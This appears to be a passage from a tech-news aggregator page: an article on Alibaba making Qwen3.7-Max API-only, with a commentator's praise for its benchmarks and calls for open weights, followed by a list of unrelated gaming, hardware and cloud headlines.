By locking Qwen3.7-Max behind an API, Alibaba is pivoting to the standard commercial playbook utilized by OpenAI (with GPT-4) and Anthropic (with Claude). For enterprise users, this means utilizing Qwen3.7-Max requires trusting Alibaba Cloud with their data streams and relying entirely on internet connectivity to run their agentic workflows. For the open-source community, it means losing access to what is currently one of the most capable models on the planet.

Community reactions split between awe and disappointment

The reaction from the developer community has been swift, characterized by a mix of profound respect for the engineering achievement and frustration over the licensing model.

Prominent AI commentator Sudo su (@sudoingX) captured the prevailing sentiment on X (formerly Twitter). "qwen is unreal," they wrote. "they just dropped 3.7 max and it is beating opus 4.6 max on most of the benchmarks they ran".

The technical metrics, particularly the model's endurance, have left many in the field stunned. "the apex math number, 44.5 against opus 34.5, that is not a small gap," Sudo su noted. "the 35 hours straight on a kernel optimization task with 1000+ tool calls is the part i keep rereading. that is the agent era thing actually happening, not a slide".

The speed of Alibaba's iteration is also drawing notice. With Qwen 3.6 released just last month, the leap to 3.7-Max highlights a relentless development cadence. As Sudo su observed, "nobody else is moving like this".

Yet, the praise is heavily caveated by the shift to a closed ecosystem. The loss of the model weights is seen as a blow to the localized AI movement, which relies on state-of-the-art open models to push the boundaries of what can be done on consumer hardware or private enterprise clusters.

"one thing though, please open source this one too," Sudo su pleaded in their post. "3.6 dense made the entire local llm ecosystem better. the max tier going api only would close a door we have been keeping open. give us the weights eventually".

Qwen3.7-Max proves that the autonomous agent era is no longer a theoretical projection; it is a present reality capable of executing complex engineering feats while humans sleep. The only question now is whether this new frontier of AI will be a democratized resource you can download to your laptop, or an intelligence utility rented strictly from the cloud. For now, with Qwen3.7-Max, it is undeniably the latter.

Team IT Security - 📰 Alle Kategorien

Unity 7: Neue Engine für Games steht ab 1. Quartal 2027 bereit

Melissa Choi named director of MIT Lincoln Laboratory

Dinos with swords, making music with gnomes and other new indie games worth checking out

Build for the future with the Android XR Developer Catalyst Program — Apply now!

Why join the catalyst program?

Ready to start building?

GitLab 19.2, Kotlin feiert Geburtstag, Unity CLI

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Table of Contents

IOCs

Don’t Starve Together: Kultiges Multiplayer-Survival-Game erscheint im App Store

Rabattaktion auf Steam: „Spiele aus Deutschland“ wirbt für hiesige Games-Branche

Game developer Harebrained Schemes kicks off its new indie era with survival-horror RPG ‘GRAFT’

heise+ | Spiele-Engines: Warum viele erfolgreiche Studios auf Unity setzen

Scaling Row-Level Security With ABAC on Databricks Unity Catalog

Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release

Hermes Agent v0.19.0 (v2026.7.20)

✨ Highlights

⚡ Performance — the speed spine

First-turn latency (all platforms)

Desktop speed wave

Everywhere else

🏗️ Core Agent & Architecture

Providers & models

Reasoning & MoA

Delegation, approvals & the agent loop

Secrets & config

Sessions & compression

🌐 Gateway, Fleet & Relay

📱 Messaging Platforms

🖥️ Hermes Desktop App

📊 Web Dashboard

🧰 CLI & TUI

🔧 Tool System, Skills & MCP

🔒 Security & Reliability

🔁 Reverted in this window (for the record)

👥 Contributors

Core team

Top community contributors

All contributors

OddOne: Neues minimalistisches Indie-Puzzle setzt auf freiwilligen Obolus

Game development diary: Crunch and preparing to launch

Meine neue Steam Machine ist ganz nett, aber leider eine große Enttäuschung

Das Positive: Einfacher Zugriff auf SteamOS und meine Steam-Bibliothek

Leistung – einige Höhen und Tiefen

Die negativen Aspekte: ein mittelmäßiges Mediengerät und Streaming-Gerät

Das Schlimmste: ein miserables Preis-Leistungs-Verhältnis

SteamOS ist der Star

2K Megahits Bundle: Humble Bundle schnürt von Bioshock bis XCOM

Indie-Hit: Denshattack! macht den Zug zum Skateboard

Fred TV Mobile 2.0: Ultra-Fast Open-Source IPTV app, now will full Android TV support and much more!

Gen Z and Millennials are Buying CDs - Though Half Don't Have CD Players

AI-run 'utopias,' Moss in 2D and other new indie games worth checking out

Indie Pen & Paper-Spiele (hackover2026)

Indie Pen & Paper-Spiele (hackover2026)

Seattle indie hit ‘Stardew Valley’ is coming to ‘Magic: The Gathering’

Looking For Fael: Neues 3D Adventure von Arte

Valve Steam Machine Review: A Compromised Console

Thoughts From a First-Time Linux User

Direkt zum Release: Indie-Spiel landet überraschend im Xbox Game Pass

Denshattack! is a hybrid of all the best fast-paced platformers I've ever played, and I'm convinced it's a stand out indie game this year

Xbox adds 52 more titles to 'Stream Your Own Games,' including Black Ops 6 and indie classics

Zombies, gore and creepy kids – why we can’t stop playing horror games

This viral Steam PC horror game is coming exclusive to Xbox on consoles next week, with Game Pass and Play Anywhere

Face the cold and various horrors in the spooky looking After Hell Freezes Over

The Witcher 1 Remake Faces a Major Open-World Challenge

Monster Fantasy Blends Monster Hunter Combat With Animal Crossing Life Sim Features

Cloud native explained: How to build scalable, resilient applications

What is cloud native? Cloud native defined

Cloud native architectural principles

How the cloud-native stack is expanding

How cloud-native architecture is adapting to AI workloads

Application frameworks for building distributed cloud-native apps

Frameworks and tools in the expanding cloud-native ecosystem

Advantages and challenges for cloud-native development